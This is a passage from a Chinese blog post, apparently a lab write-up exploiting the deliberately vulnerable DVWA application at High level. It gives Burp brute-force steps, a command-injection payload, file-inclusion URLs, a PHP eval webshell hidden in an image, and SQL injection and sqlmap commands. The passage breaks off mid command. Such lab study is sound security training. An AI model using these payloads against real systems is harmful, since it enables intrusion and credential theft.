{"id":80362,"date":"2026-03-04T22:11:04","date_gmt":"2026-03-04T14:11:04","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/80362.html"},"modified":"2026-03-04T22:11:04","modified_gmt":"2026-03-04T14:11:04","slug":"dvwa-%e9%9d%b6%e5%9c%ba%e5%ae%9e%e9%aa%8c%e6%8a%a5%e5%91%8a-high-level","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/80362.html","title":{"rendered":"DVWA \u9776\u573a\u5b9e\u9a8c\u62a5\u544a (High Level)"},"content":{"rendered":"<h2>DVWA \u9776\u573a\u5b9e\u9a8c\u62a5\u544a (High Level)<\/h2>\n<p>\u96be\u5ea6\u7b49\u7ea7&#xff1a;High \u62a5\u544a\u8bf4\u660e&#xff1a;\u672c\u6587\u4e3a DVWA \u9776\u573a High \u96be\u5ea6\u4e0b17\u4e2a\u6f0f\u6d1e\u7684\u8be6\u7ec6\u6e17\u900f\u6d4b\u8bd5\u6b65\u9aa4&#xff0c;\u5305\u542b\u6f0f\u6d1e\u539f\u7406\u3001\u5229\u7528\u65b9\u6cd5\u3001\u5de5\u5177\u64cd\u4f5c\u53ca\u6838\u5fc3Payload&#xff0c;\u5168\u7a0b\u57fa\u4e8eBurp Suite\u3001Sqlmap\u7b49\u5de5\u5177\u5b9e\u73b0&#xff0c;\u6240\u6709\u64cd\u4f5c\u6b65\u9aa4\u5747\u914d\u5957\u5b9e\u64cd\u622a\u56fe https:\/\/www.cnblogs.com\/wrold<\/p>\n<h3>&#x1f4d1; \u76ee\u5f55<\/h3>\n<li>Brute Force \u2014 \u66b4\u529b\u7834\u89e3<\/li>\n<li>Command Injection \u2014 \u547d\u4ee4\u6ce8\u5165<\/li>\n<li>CSRF \u2014 \u8de8\u7ad9\u8bf7\u6c42\u4f2a\u9020<\/li>\n<li>File Inclusion \u2014 \u6587\u4ef6\u5305\u542b<\/li>\n<li>File Upload \u2014 \u6587\u4ef6\u4e0a\u4f20<\/li>\n<li>Insecure CAPTCHA \u2014 \u4e0d\u5b89\u5168\u7684\u9a8c\u8bc1\u7801<\/li>\n<li>SQL Injection \u2014 SQL \u6ce8\u5165<\/li>\n<li>SQL Injection (Blind) \u2014 SQL \u76f2\u6ce8<\/li>\n<li>Weak Session IDs \u2014 \u5f31\u4f1a\u8bdd ID<\/li>\n<li>XSS (DOM) \u2014 DOM \u578b\u8de8\u7ad9\u811a\u672c<\/li>\n<li>XSS (Reflected) \u2014 \u53cd\u5c04\u578b\u8de8\u7ad9\u811a\u672c<\/li>\n<li>XSS (Stored) \u2014 \u5b58\u50a8\u578b\u8de8\u7ad9\u811a\u672c<\/li>\n<li>CSP Bypass \u2014 CSP \u7b56\u7565\u7ed5\u8fc7<\/li>\n<li>JavaScript Attacks \u2014 JavaScript \u653b\u51fb<\/li>\n<li>Authorisation Bypass \u2014 \u8d8a\u6743\u8bbf\u95ee<\/li>\n<li>Open HTTP Redirect \u2014 \u5f00\u653e\u91cd\u5b9a\u5411<\/li>\n<li>Cryptography \u2014 \u5bc6\u7801\u5b66<\/li>\n<hr \/>\n<h3><\/h3>\n<h3>1. Brute Force \u2014 \u66b4\u529b\u7834\u89e3<\/h3>\n<h4>\u6f0f\u6d1e\u7279\u70b9<\/h4>\n<p>High \u96be\u5ea6\u65b0\u589e\u65f6\u95f4\u5ef6\u8fdf&#043;user_token \u9a8c\u8bc1&#xff0c;token \u660e\u6587\u663e\u793a\u5728\u524d\u7aef\u9875\u9762&#xff0c;\u9700\u52a8\u6001\u63d0\u53d6 token \u914d\u5408\u7206\u7834\u3002<\/p>\n<h4>\u5229\u7528\u6b65\u9aa4<\/h4>\n<li>\u6293\u5305&#xff1a;\u901a\u8fc7Burp Suite\u6293\u53d6\u767b\u5f55\u8bf7\u6c42\u5305&#xff0c;\u53ef\u89c1username\u3001password\u3001user_token\u4e09\u4e2a\u6838\u5fc3\u53c2\u6570&#xff0c;token \u4e3a32\u4f4d\u968f\u673a\u5b57\u7b26\u4e32\u3002 <img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/03\/20260304141101-69a83d7532e0f.png\" alt=\"\" \/><\/li>\n<li>\u5b9a\u4f4dtoken&#xff1a;\u67e5\u770b\u524d\u7aef\u9875\u9762\u6e90\u7801&#xff0c;token \u85cf\u5728&lt;input type&#061;&#034;hidden&#034; name&#061;&#034;user_token&#034; value&#061;&#034;xxx&#034;&gt;\u4e2d&#xff0c;\u53ef\u901a\u8fc7\u6b63\u5219\u5339\u914d\u63d0\u53d6\u3002 <img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/03\/20260304141101-69a83d754df07.png\" alt=\"\" \/><\/li>\n<li>Burp \u914d\u7f6e\n<ul>\n<li>\u8fdb\u5165Intruder&#xff0c;\u9009\u62e9Pitchfork \u4ea4\u53c9\u7206\u7834&#xff0c;\u6807\u8bb0password\u548cuser_token\u4e3a\u7206\u7834\u4f4d\u7f6e&#xff1b; <img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/03\/20260304141101-69a83d755d5a3.png\" alt=\"\" \/><\/li>\n<li>\u8fdb\u5165Settings&#xff0c;\u5f00\u542f\u63d0\u53d6Grep\u9879&#xff0c;\u6b63\u5219\u8868\u8fbe\u5f0f\u914d\u7f6e\u4e3avalue&#061;(.*?)\\\\\/&gt;\\\\r\\\\n&#xff0c;\u5339\u914d\u524d\u7aef\u7684token\u503c&#xff1b; <img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/03\/20260304141101-69a83d756c4da.png\" alt=\"\" \/><\/li>\n<li>\u5bf9user_token\u7684Payload\u7c7b\u578b\u9009\u62e9\u9012\u5f52\u63d0\u53d6&#xff0c;\u5e76\u586b\u5165\u521d\u59cb\u8bf7\u6c42\u7684\u6709\u6548token&#xff08;\u6293\u5305\u83b7\u53d6\u7684\u539f\u59cbtoken&#xff09;\u3002 <img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/03\/20260304141101-69a83d7594eef.png\" alt=\"\" \/> <img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/03\/20260304141101-69a83d75ba9c4.png\" alt=\"\" \/><\/li>\n<\/ul>\n<\/li>\n<li>\u7206\u7834\u8bbe\u7f6e&#xff1a;\u5c06\u8d44\u6e90\u6c60\u53d1\u5305\u6700\u5927\u6b21\u6570\u6539\u4e3a1&#xff08;\u7981\u6b62\u5e76\u53d1&#xff0c;\u907f\u514dtoken\u5931\u6548&#xff09;&#xff0c;\u52a0\u8f7d\u5bc6\u7801\u5b57\u5178\u5f00\u59cb\u7206\u7834\u3002 <img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/03\/20260304141101-69a83d75e79a7.png\" alt=\"\" \/><\/li>\n<li>\u7ed3\u679c\u5206\u6790&#xff1a;\u6309\u54cd\u5e94\u957f\u5ea6\u6392\u5e8f&#xff0c;\u957f\u5ea6\u4e0e\u5176\u4ed6\u6761\u76ee\u4e0d\u540c\u7684\u5373\u4e3a\u6b63\u786e\u5bc6\u7801&#xff08;\u6b63\u786e\u767b\u5f55\u7684\u54cd\u5e94\u9875\u9762\u4e0e\u9519\u8bef\u9875\u9762\u957f\u5ea6\u5b58\u5728\u660e\u663e\u5dee\u5f02&#xff09;\u3002 <img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/03\/20260304141102-69a83d761a61f.png\" alt=\"\" \/><\/li>\n<h4>\u6838\u5fc3\u6ce8\u610f\u70b9<\/h4>\n<p>\u6293\u5305\u540e\u7981\u6b62\u63d0\u524d\u53d1\u5305&#xff0c;\u5426\u5219token\u4f1a\u5237\u65b0\u5bfc\u81f4\u7206\u7834\u5931\u8d25&#xff0c;\u9700\u4fdd\u8bc1\u521d\u59cbtoken\u4e0e\u7206\u7834\u8bf7\u6c42\u4e00\u81f4\u3002<\/p>\n<hr \/>\n<h3>2. Command Injection \u2014 \u547d\u4ee4\u6ce8\u5165<\/h3>\n<h4>\u6f0f\u6d1e\u7279\u70b9<\/h4>\n<p>High \u96be\u5ea6\u5bf9\u7ba1\u9053\u7b26\u7b49\u547d\u4ee4\u5206\u9694\u7b26\u505a\u4e86\u9ed1\u540d\u5355\u8fc7\u6ee4&#xff0c;\u4f46\u8fc7\u6ee4\u4ee3\u7801\u5b58\u5728\u7a7a\u683c\u4e66\u5199\u9519\u8bef&#xff0c;\u5bfc\u81f4\u8fc7\u6ee4\u5931\u6548&#xff0c;\u53ef\u6784\u9020\u65e0\u7a7a\u683c\u7684\u547d\u4ee4\u62fc\u63a5Payload\u3002<\/p>\n<h4>\u6f0f\u6d1e\u4ee3\u7801\u5206\u6790<\/h4>\n<p><span class=\"token keyword\">if<\/span><span class=\"token punctuation\">(<\/span><span class=\"token keyword\">isset<\/span><span class=\"token punctuation\">(<\/span><span class=\"token variable\">$_POST<\/span><span class=\"token punctuation\">[<\/span><span class=\"token string single-quoted-string\">&#039;Submit&#039;<\/span><span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">{<\/span><br \/>\n    <span class=\"token variable\">$target<\/span><span class=\"token operator\">&#061;<\/span> <span class=\"token function\">trim<\/span><span class=\"token punctuation\">(<\/span><span class=\"token variable\">$_REQUEST<\/span><span class=\"token punctuation\">[<\/span><span class=\"token string single-quoted-string\">&#039;ip&#039;<\/span><span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n    <span class=\"token variable\">$substitutions<\/span> <span class=\"token operator\">&#061;<\/span> <span class=\"token keyword\">array<\/span><span class=\"token punctuation\">(<\/span><br \/>\n        <span class=\"token comment\">\/\/ \u8fc7\u6ee4\u4ee3\u7801\u5b58\u5728\u591a\u4f59\u7a7a\u683c&#xff0c;\u5bfc\u81f4\u8fc7\u6ee4\u903b\u8f91\u5931\u6548<\/span><br \/>\n    <span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n    <span class=\"token variable\">$target<\/span><span class=\"token operator\">&#061;<\/span><span class=\"token function\">str_replace<\/span><span class=\"token punctuation\">(<\/span> <span class=\"token function\">array_keys<\/span><span class=\"token punctuation\">(<\/span> <span class=\"token variable\">$substitutions<\/span> <span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">,<\/span><span class=\"token variable\">$substitutions<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token variable\">$target<\/span> <span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n    <span class=\"token keyword\">if<\/span><span class=\"token punctuation\">(<\/span><span class=\"token function\">stristr<\/span><span class=\"token punctuation\">(<\/span><span class=\"token function\">php_uname<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string single-quoted-string\">&#039;s&#039;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">,<\/span><span class=\"token string double-quoted-string\">&#034;Windows NT&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">{<\/span><br \/>\n        <span class=\"token variable\">$cmd<\/span><span class=\"token operator\">&#061;<\/span><span class=\"token function\">shell_exec<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string double-quoted-string\">&#034;ping &#034;<\/span><span class=\"token operator\">.<\/span><span class=\"token variable\">$target<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n    <span class=\"token punctuation\">}<\/span><span class=\"token keyword\">else<\/span><span class=\"token punctuation\">{<\/span><br \/>\n        <span class=\"token variable\">$cmd<\/span><span class=\"token operator\">&#061;<\/span><span class=\"token function\">shell_exec<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string double-quoted-string\">&#034;ping -c4 &#034;<\/span><span class=\"token operator\">.<\/span><span class=\"token variable\">$target<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n    <span class=\"token punctuation\">}<\/span><br \/>\n    <span class=\"token variable\">$html<\/span><span class=\"token operator\">.&#061;<\/span><span class=\"token string double-quoted-string\">&#034;&lt;pre&gt;<span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span><span class=\"token variable\">$cmd<\/span><span class=\"token punctuation\">}<\/span><\/span>&lt;\/pre&gt;&#034;<\/span><span class=\"token punctuation\">;<\/span><br \/>\n<span class=\"token punctuation\">}<\/span><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/03\/20260304141102-69a83d7640ae5.png\" alt=\"\" \/> <img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/03\/20260304141102-69a83d76591c4.png\" alt=\"\" \/><\/p>\n<h4>\u5229\u7528\u65b9\u6cd5<\/h4>\n<p>\u76f4\u63a5\u6784\u9020\u65e0\u7a7a\u683c\u7ba1\u9053\u7b26\u62fc\u63a5\u7684Payload&#xff0c;\u7ed5\u8fc7\u6ee4\u9ed1\u540d\u5355\u4f4d\u7f6e&#xff1a;<\/p>\n<p>127.0.0.1|whoami<\/p>\n<p>\u63d0\u4ea4\u540e\u6210\u529f\u6267\u884c\u7cfb\u7edf\u547d\u4ee4&#xff0c;\u8fd4\u56de\u5f53\u524d\u7528\u6237\u4fe1\u606f\u3002 <img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/03\/20260304141102-69a83d7668663.png\" alt=\"\" \/><\/p>\n<hr \/>\n<h3>3. CSRF \u2014 \u8de8\u7ad9\u8bf7\u6c42\u4f2a\u9020<\/h3>\n<h4>\u6f0f\u6d1e\u7279\u70b9<\/h4>\n<p>High \u96be\u5ea6\u65b0\u589euser_token \u9a8c\u8bc1&#xff0c;token \u660e\u6587\u663e\u793a\u5728\u524d\u7aefHTML\u6e90\u7801\u4e2d&#xff0c;\u5355\u7eaf\u6784\u9020CSRF\u94fe\u63a5\u65e0\u6cd5\u7ed5\u8fc7&#xff0c;\u9700\u914d\u5408XSS\u6f0f\u6d1e\u63d0\u53d6token\u540e\u7ec4\u5408\u653b\u51fb\u3002<\/p>\n<h4>\u6f0f\u6d1e\u5206\u6790<\/h4>\n<li>\u6293\u5305\u4fee\u6539\u5bc6\u7801\u8bf7\u6c42&#xff0c;\u53ef\u89c1URL\u4e2d\u5305\u542bpassword_new\u3001password_conf\u3001user_token\u53c2\u6570&#xff0c;token\u4e3a\u5fc5\u586b\u9879\u3002 <img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/03\/20260304141102-69a83d767d883.png\" alt=\"\" \/><\/li>\n<li>\u67e5\u770b\u524d\u7aef\u6e90\u7801&#xff0c;user_token\u85cf\u5728\u9690\u85cf\u8f93\u5165\u6846\u4e2d&#xff0c;\u653b\u51fb\u8005\u65e0\u6cd5\u76f4\u63a5\u83b7\u53d6\u53d7\u5bb3\u8005\u7684token&#xff0c;\u4f46\u53ef\u901a\u8fc7XSS\u6ce8\u5165\u811a\u672c\u81ea\u52a8\u63d0\u53d6\u53d7\u5bb3\u8005\u7684token\u5e76\u62fc\u63a5CSRF\u8bf7\u6c42\u3002 <img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/03\/20260304141102-69a83d7698885.png\" alt=\"\" \/><\/li>\n<h4>\u653b\u51fb\u601d\u8def<\/h4>\n<li>\u5229\u7528\u9776\u573a\u4e2d\u5b58\u5728\u7684XSS\u6f0f\u6d1e&#xff08;\u5982\u53cd\u5c04\u578b\u3001\u5b58\u50a8\u578b&#xff09;&#xff0c;\u6784\u9020XSS\u811a\u672c\u63d0\u53d6\u9875\u9762\u4e2d\u7684user_token&#xff1b;<\/li>\n<li>\u5c06\u63d0\u53d6\u7684token\u62fc\u63a5\u81f3CSRF\u4fee\u6539\u5bc6\u7801\u7684URL\u4e2d&#xff1b;<\/li>\n<li>\u8bf1\u5bfc\u53d7\u5bb3\u8005\u70b9\u51fb\u5305\u542bXSS&#043;CSRF\u7684\u6076\u610f\u94fe\u63a5&#xff0c;\u5b9e\u73b0\u81ea\u52a8\u4fee\u6539\u5bc6\u7801\u3002<\/li>\n<hr \/>\n<h3>4. File Inclusion \u2014 \u6587\u4ef6\u5305\u542b<\/h3>\n<h4>\u6f0f\u6d1e\u7279\u70b9<\/h4>\n<p>High \u96be\u5ea6\u5bf9page\u53c2\u6570\u505a\u4e86\u5173\u952e\u8bcd\u767d\u540d\u5355\u8fc7\u6ee4&#xff08;\u4ec5\u5141\u8bb8\u5305\u542bfile\/fie&#xff09;&#xff0c;\u4f46\u672a\u9650\u5236\u4f2a\u534f\u8bae&#xff0c;\u53ef\u901a\u8fc7file:\/\/\u4f2a\u534f\u8bae\u5b9e\u73b0\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u3002<\/p>\n<h4>\u6f0f\u6d1e\u4ee3\u7801\u5206\u6790<\/h4>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/03\/20260304141102-69a83d76bd02c.png\" alt=\"\" \/><\/p>\n<p><span class=\"token variable\">$file<\/span><span class=\"token operator\">&#061;<\/span><span class=\"token variable\">$_GET<\/span><span class=\"token punctuation\">[<\/span><span class=\"token string single-quoted-string\">&#039;page&#039;<\/span><span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">;<\/span><br \/>\n<span class=\"token keyword\">if<\/span><span class=\"token punctuation\">(<\/span><span class=\"token operator\">!<\/span><span class=\"token function\">fnmatch<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string double-quoted-string\">&#034;file,fie&#034;<\/span><span class=\"token punctuation\">,<\/span><span class=\"token variable\">$file<\/span><span class=\"token punctuation\">)<\/span><span class=\"token operator\">&amp;&amp;<\/span><span class=\"token variable\">$file<\/span> <span class=\"token operator\">!&#061;<\/span><span class=\"token string double-quoted-string\">&#034;include.php&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">{<\/span><br \/>\n    <span class=\"token keyword\">echo<\/span> <span class=\"token string double-quoted-string\">&#034;ERROR:File not found!&#034;<\/span><span class=\"token punctuation\">;<\/span><br \/>\n    <span class=\"token keyword\">exit<\/span><span class=\"token punctuation\">;<\/span><br \/>\n<span class=\"token punctuation\">}<\/span><\/p>\n<h4>\u5229\u7528\u65b9\u6cd5<\/h4>\n<p>\u6784\u9020file:\/\/\u4f2a\u534f\u8baePayload&#xff0c;\u6307\u5b9a\u672c\u5730\u6587\u4ef6\u7edd\u5bf9\u8def\u5f84&#xff0c;\u5b9e\u73b0\u4efb\u610f\u76ee\u5f55\u6587\u4ef6\u8bfb\u53d6&#xff1a;<\/p>\n<p>http:\/\/dvwa:8564\/vulnerabilities\/fi\/?page&#061;file:\/\/D:\/1.php<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/03\/20260304141102-69a83d76d981a.png\" alt=\"\" \/><\/p>\n<h4>\u62d3\u5c55\u5229\u7528<\/h4>\n<p>\u82e5\u670d\u52a1\u5668\u5f00\u542fphp:\/\/\u4f2a\u534f\u8bae\u76f8\u5173\u914d\u7f6e&#xff0c;\u53ef\u7ed3\u5408php:\/\/filter\u5b9e\u73b0\u6e90\u7801\u8bfb\u53d6&#xff1a;<\/p>\n<p>http:\/\/dvwa:8564\/vulnerabilities\/fi\/?page&#061;php:\/\/filter\/convert.base64-encode\/resource&#061;index.php<\/p>\n<hr \/>\n<h3>5. File Upload \u2014 \u6587\u4ef6\u4e0a\u4f20<\/h3>\n<h4>\u6f0f\u6d1e\u7279\u70b9<\/h4>\n<p>High \u96be\u5ea6\u505a\u4e86\u591a\u91cd\u8fc7\u6ee4&#xff1a;\u6587\u4ef6\u7c7b\u578b\u6821\u9a8c\u3001\u6587\u4ef6\u5927\u5c0f\u9650\u5236\u3001getimagesize()\u56fe\u7247\u5934\u6821\u9a8c&#xff0c;\u65e0\u6cd5\u76f4\u63a5\u4e0a\u4f20webshell&#xff0c;\u9700\u5236\u4f5c\u56fe\u7247\u9a6c\u914d\u5408\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e\u5b9e\u73b0webshell\u6267\u884c\u3002<\/p>\n<h4>\u6f0f\u6d1e\u4ee3\u7801\u5206\u6790<\/h4>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/03\/20260304141102-69a83d76e86d4.png\" alt=\"\" \/><\/p>\n<p><span class=\"token comment\">\/\/ \u6821\u9a8c\u6587\u4ef6\u540e\u7f00\u3001\u5927\u5c0f\u3001\u662f\u5426\u4e3a\u56fe\u7247<\/span><br \/>\n<span class=\"token keyword\">if<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">(<\/span><span class=\"token function\">strtolower<\/span><span class=\"token punctuation\">(<\/span><span class=\"token variable\">$uploaded_ext<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token class-name type-declaration\">in<\/span> <span class=\"token variable\">$allowed_ext<\/span><span class=\"token punctuation\">)<\/span><span class=\"token operator\">&amp;&amp;<\/span><span class=\"token punctuation\">(<\/span><span class=\"token variable\">$uploaded_size<\/span><span class=\"token operator\">&lt;<\/span><span class=\"token number\">100000<\/span><span class=\"token punctuation\">)<\/span><span class=\"token operator\">&amp;&amp;<\/span><span class=\"token function\">getimagesize<\/span><span class=\"token punctuation\">(<\/span><span class=\"token variable\">$uploaded_tmp<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">{<\/span><br \/>\n    <span class=\"token comment\">\/\/ \u4e0a\u4f20\u6210\u529f\u903b\u8f91<\/span><br \/>\n<span class=\"token punctuation\">}<\/span><\/p>\n<h4>\u5229\u7528\u6b65\u9aa4<\/h4>\n<li>\u5236\u4f5c\u56fe\u7247\u9a6c&#xff1a;\u4efb\u610f\u6b63\u5e38\u56fe\u7247&#xff08;\u598211.png&#xff09;\u540e\u62fc\u63a5PHP\u4e00\u53e5\u8bddwebshell&#xff0c;\u4fdd\u7559\u56fe\u7247\u6587\u4ef6\u5934&#xff08;\u907f\u514dgetimagesize()\u6821\u9a8c\u5931\u8d25&#xff09;\u3002\/\/ \u56fe\u7247\u9a6c\u5236\u4f5c&#xff08;cmd\u547d\u4ee4&#xff09;<br \/>\ncopy 1.png \/b &#043; shell.php \/a 11.png<br \/>\n \u56fe\u7247\u9a6c\u5185\u5bb9\u793a\u4f8b&#xff1a;&lt;?php phpinfo();?&gt;&#xff08;\u6d4b\u8bd5\u7528&#xff09;\/&lt;?php &#064;eval($_POST[&#039;pass&#039;]);?&gt;&#xff08;\u4e00\u53e5\u8bddwebshell&#xff09;\u3002 <img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/03\/20260304141103-69a83d77024cb.png\" alt=\"\" \/><\/li>\n<li>\u4e0a\u4f20\u56fe\u7247\u9a6c&#xff1a;\u76f4\u63a5\u4e0a\u4f20\u5236\u4f5c\u597d\u768411.png&#xff0c;\u9776\u573a\u63d0\u793a\u4e0a\u4f20\u6210\u529f&#xff0c;\u8fd4\u56de\u6587\u4ef6\u8def\u5f84..\/hackable\/uploads\/11.png\u3002 <img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/03\/20260304141103-69a83d772674a.png\" alt=\"\" \/><\/li>\n<li>\u6587\u4ef6\u5305\u542b\u5229\u7528&#xff1a;\u901a\u8fc7File Inclusion\u6f0f\u6d1e\u7684file:\/\/\u4f2a\u534f\u8bae&#xff0c;\u5305\u542b\u4e0a\u4f20\u7684\u56fe\u7247\u9a6c&#xff0c;\u6267\u884cPHP\u4ee3\u7801&#xff1a;http:\/\/dvwa:8564\/vulnerabilities\/fi\/?page&#061;file:\/\/\/D:\/phpstudy_pro\/WWW\/DVWA-master\/hackable\/uploads\/11.png<br \/>\n \u8bbf\u95ee\u540e\u6210\u529f\u6267\u884cphpinfo()&#xff0c;\u8bc1\u660e\u56fe\u7247\u9a6c\u751f\u6548\u3002 <img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/03\/20260304141103-69a83d77462cf.png\" alt=\"\" \/><\/li>\n<h4>\u6838\u5fc3\u6ce8\u610f\u70b9<\/h4>\n<p>\u56fe\u7247\u9a6c\u5fc5\u987b\u4fdd\u7559\u5408\u6cd5\u56fe\u7247\u5934&#xff0c;\u5426\u5219getimagesize()\u4f1a\u68c0\u6d4b\u51fa\u975e\u56fe\u7247\u6587\u4ef6&#xff0c;\u5bfc\u81f4\u4e0a\u4f20\u5931\u8d25\u3002<\/p>\n<hr \/>\n<h3>6. Insecure CAPTCHA \u2014 \u4e0d\u5b89\u5168\u7684\u9a8c\u8bc1\u7801<\/h3>\n<hr \/>\n<h3>7. SQL Injection \u2014 SQL \u6ce8\u5165<\/h3>\n<h4>\u6f0f\u6d1e\u7279\u70b9<\/h4>\n<p>High \u96be\u5ea6\u65b0\u589e\u4f1a\u8bdd\u5f39\u7a97\u9a8c\u8bc1&#xff0c;\u4f46\u6ce8\u5165\u6838\u5fc3\u903b\u8f91\u672a\u53d8&#xff0c;\u4ecd\u4e3a\u5b57\u7b26\u578b\u6ce8\u5165&#xff0c;\u53ef\u901a\u8fc7\u624b\u5de5\u6ce8\u5165\u6216Sqlmap\u5b9e\u73b0\u6570\u636e\u63d0\u53d6\u3002<\/p>\n<h4>\u5229\u7528\u6b65\u9aa4&#xff08;\u624b\u5de5\u6ce8\u5165&#xff09;<\/h4>\n<li>\u5224\u65ad\u6ce8\u5165\u7c7b\u578b&#xff1a;\n<ul>\n<li>\u8f93\u51651&#xff1a;\u6b63\u5e38\u8fd4\u56de\u6570\u636e&#xff1b; <img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/03\/20260304141103-69a83d7758f1e.png\" alt=\"\" \/><\/li>\n<li>\u8f93\u51651&#039;&#xff1a;\u9875\u9762\u62a5\u9519&#xff0c;\u8bf4\u660e\u4e3a\u5b57\u7b26\u578b\u6ce8\u5165&#xff0c;\u9700\u7528\u5355\u5f15\u53f7\u95ed\u5408&#xff0c;\u6ce8\u91ca\u7b26#\u622a\u65ad\u8bed\u53e5\u3002 <img decoding=\"async\" src=\"2026-03-041z0rffkwtjf.png\" alt=\"\" \/> <img decoding=\"async\" src=\"2026-03-04n2mr2x00vyf.png\" alt=\"\" \/><\/li>\n<\/ul>\n<\/li>\n<li>\u9a8c\u8bc1\u6ce8\u5165\u70b9&#xff1a;\u8f93\u51651&#039; and 1&#061;1 #&#xff0c;\u6b63\u5e38\u8fd4\u56de\u6570\u636e&#xff1b;\u8f93\u51651&#039; and 1&#061;2 #&#xff0c;\u65e0\u6570\u636e\u8fd4\u56de&#xff0c;\u6ce8\u5165\u70b9\u6709\u6548\u3002 <img decoding=\"async\" src=\"2026-03-04s4r4pbmhtnu.png\" alt=\"\" \/><\/li>\n<li>\u5224\u65ad\u5217\u6570&#xff1a;\u8f93\u51651&#039; order by 2 #&#xff0c;\u6b63\u5e38\u8fd4\u56de&#xff1b;\u8f93\u51651&#039; order by 3 #&#xff0c;\u62a5\u9519&#xff0c;\u8bf4\u660e\u67e5\u8be2\u7ed3\u679c\u4e3a2\u5217\u3002<\/li>\n<li>\u8054\u5408\u6ce8\u5165\u63d0\u53d6\u6570\u636e&#xff1a;\n<ul>\n<li>\u63d0\u53d6\u6570\u636e\u5e93\u540d&#xff1a;-1&#039; union select 1,database() #<\/li>\n<li>\u63d0\u53d6\u8868\u540d&#xff1a;-1&#039; union select 1,group_concat(table_name) from information_schema.tables where table_schema&#061;database() #<\/li>\n<li>\u63d0\u53d6\u5b57\u6bb5\u540d&#xff1a;-1&#039; union select 1,group_concat(column_name) from information_schema.columns where table_name&#061;&#039;users&#039; #<\/li>\n<li>\u63d0\u53d6\u8d26\u53f7\u5bc6\u7801&#xff1a;-1&#039; union select user,password from users # <img decoding=\"async\" src=\"2026-03-04nh5w1wqev04.png\" alt=\"\" \/><\/li>\n<\/ul>\n<\/li>\n<h4>\u5229\u7528\u6b65\u9aa4&#xff08;Sqlmap\u81ea\u52a8\u5316\u6ce8\u5165&#xff09;<\/h4>\n<p>\u7531\u4e8e\u6ce8\u5165\u7ed3\u679c\u5728\u7b2c\u4e8c\u4e2a\u9875\u9762\u5c55\u793a&#xff0c;\u9700\u4f7f\u7528&#8211;second-url\u53c2\u6570\u6307\u5b9a\u7ed3\u679c\u9875\u9762&#xff0c;\u547d\u4ee4\u5982\u4e0b&#xff1a;<\/p>\n<p><span class=\"token comment\"># \u8bfb\u53d6\u6240\u6709\u6570\u636e\u5e93<\/span><br \/>\nsqlmap <span class=\"token parameter variable\">-r<\/span> D:<span class=\"token punctuation\">\\\\<\/span>Backup<span class=\"token punctuation\">\\\\<\/span>\u684c\u9762<span class=\"token punctuation\">\\\\<\/span><span class=\"token number\">1<\/span>.txt <span class=\"token parameter variable\">&#8211;dbs<\/span> <span class=\"token parameter variable\">&#8211;batch<\/span> &#8211;second-url<span class=\"token operator\">&#061;<\/span>http:\/\/dvwa:8564\/vulnerabilities\/sqli\/<br \/>\n<span class=\"token comment\"># \u8bfb\u53d6users\u8868\u6570\u636e<\/span><br \/>\nsqlmap <span class=\"token parameter variable\">-r<\/span> D:<span class=\"token punctuation\">\\\\<\/span>Backup<span class=\"token 